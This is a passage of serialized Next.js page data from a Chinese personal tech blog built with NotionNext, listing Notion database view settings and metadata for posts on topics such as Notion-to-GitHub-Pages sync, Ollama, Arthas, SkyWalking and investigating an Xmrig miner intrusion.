-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"value":{"id":"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a","version":1,"type":"gallery","name":"","format":{"table_wrap":true,"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":276,"visible":true,"property":"title"},{"visible":true,"property":"czdN"}],"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"gallery_cover_size":"large","gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"YNJw"}],"gallery_cover_aspect":"cover","hide_linked_collection_name":false},"parent_id":"43181d65-d467-4bd5-a8cb-6942161eabd5","parent_table":"block","alive":true,"page_sort":["02f024a6-0fd0-4a05-b201-762f56287c1d","e415b262-f6fe-4a10-82fb-e3e3b8a43c9e","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"b7eb2157-2022-4ca5-827b-faa5ef82cf2d":{"value":{"id":"b7eb2157-2022-4ca5-827b-faa5ef82cf2d","version":217,"type":"table","name":"Table","format":{"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":288,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":100,"visible":true,"property":"bB{M"},{"width":141,"visible":true,"property":"sD^m"},{"width":229,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"06f53161-8c9a-4e9c-8109-a8bd142a7b06"}},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","8f4fe6b1-7a9e-43e0-bcfb-6edb50f10a62","571f2540-eb8a-42ee-84f5-85f1583430ae","f5dd304c-8c81-40dc-ba37-9c1d7399e15e","a6271da0-6b8f-47a3-9735-e8fa770f1d9f","4d7cafcd-57a4-4255-90c5-821a6f40dfe8","dc4f233c-5ec9-4ba8-b943-2e5e1f408ad6","db0e0da3-a27e-445c-9f69-9c95b33a52bc","4e12cb2c-d3f9-46aa-8e7e-c13084f7c79c","29fdb092-3dbf-4487-8f6b-6586958cfc67","87c18f9d-1c7e-47b0-89b9-fae9e38b6ce9","54ea2a2c-9b91-4457-8f20-d29ebe384529","21622ac5-95e6-455a-a91d-9d762a88963e","16500013-ac92-4537-9012-46d8ff7dae03","ce720858-10b7-4c0c-8083-906f29150a81","01cc4bd3-fe3b-456b-a08e-e961d83c7999","da988857-3ba9-4a63-9731-e849beb46705","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","b9e5afa7-db27-4aea-95fb-3fd5fcf81846","1e08ee78-d240-47cb-9d52-6a484b248543","0872b2f7-af7d-4f24-adf7-86f5d34dbc7b","18460a7c-3e63-4d7b-ad00-cf40ba77851c","0458d9a0-a64e-4837-bc75-f4a3f7853249","0ef279d4-d54a-4de3-9a5b-5603b461b586","f3550fb0-346c-4212-b57f-86433738b50b","de36fd0c-38fe-4b0c-b9d3-1c4389f599b2","bbeae7c7-f4ef-4f79-9c0d-6572636a9233","15a4fc06-381c-43a0-94f3-f89655b192da","55c03d34-3626-49d4-ac9d-6a455b2b6c93","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","1146ef63-aba8-4df5-a006-ba886ea87966","9057c4ad-2ef9-44a0-9bdd-c38daf735108","0bc55f01-2246-4cca-836d-266680bd9b5b","0bfc2813-a121-4fd1-a7bb-738f6357892c","d3a02583-75a2-402d-b0a1-4551c3837c7e","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{"7b11173d-8924-4a09-8897-50956378c0fc":{"6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a":{"collection_group_results":{"type":"results","blockIds":["02f024a6-0fd0-4a05-b201-762f56287c1d","c7f423be-6c39-4b76-a750-e7d7d92161fd"],"hasMore":false}}}},"signed_urls":{}}},"prev":{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},"next":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
